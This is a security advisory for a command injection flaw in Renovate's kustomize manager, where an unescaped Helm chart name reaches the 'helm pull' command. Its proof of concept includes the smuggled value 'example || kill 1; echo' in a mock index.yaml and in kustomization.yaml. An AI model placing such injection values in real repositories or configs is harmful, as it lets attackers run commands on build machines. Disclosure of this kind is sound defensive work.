PT-2026-6500 · Npm · Renovate

Published

2026-01-13

·

Updated

2026-01-13

CVSS v3.1

6.7

Medium

VectorAV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Summary

The user-provided chart name in the kustomize manager is appended to the helm pull --untar command without proper sanitization.

Details

Adversaries can provide a maliciously crafted kustomization.yaml in conjunction with a Helm repo's index.yaml file to trick Renovate to execute arbitrary code. The value for the depName argument for the helmRepositoryArgs function in lib/modules/manager/kustomize/artifacts.ts is not being escaped using the quote function from the shlex package. This lack of proper sanitization has been present in the product since version 39.218.9 (https://github.com/renovatebot/renovate/commit/cc08c6e98f19e6258c5d3180c70c98e1be0b0d37), released on March 26 of 2025.

PoC

  1. Create a mock Helm repository. Have its index.yaml endpoint return:
yaml
apiVersion: v1
entries:
 "example || kill 1; echo":
  - version: 1.0.1
   created: 2016-10-06T16:23:20.499814565-06:00
  - version: 1.0.0
   created: 2016-10-06T16:23:20.499543808-06:00
  1. Create a git repo with the following content:
renovate.json5:
json5
{
 $schema: "https://docs.renovatebot.com/renovate-schema.json",
 postUpdateOptions: [
  "kustomizeInflateHelmCharts",
 ]
}
kustomization.yaml:
yaml
kind: Kustomization
apiVersion: kustomize.config.k8s.io/v1beta1
helmCharts:
 - name: "example || kill 1; echo"
  repo: TODO reference the mocked Helm repository over https
  version: 1.0.0
with the todo resolved
charts/.gitkeep:
(empty)
  1. Run Renovate against the repo from a Docker container. Notice that the process terminates without reporting "Repository finished", because the ACI vulnerability allowed for execution of kill 1, terminating the root process of the container.

Impact

This is a Arbitrary Command Injection vulnerability, allowing those with write access on repositories configured to be scanned by Renovate to cause the execution of commands of their choice on the machine that runs Renovate.

Fix

Command Injection

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-77

Related Identifiers

GHSA-XV56-3WQ5-9997

Affected Products

Renovate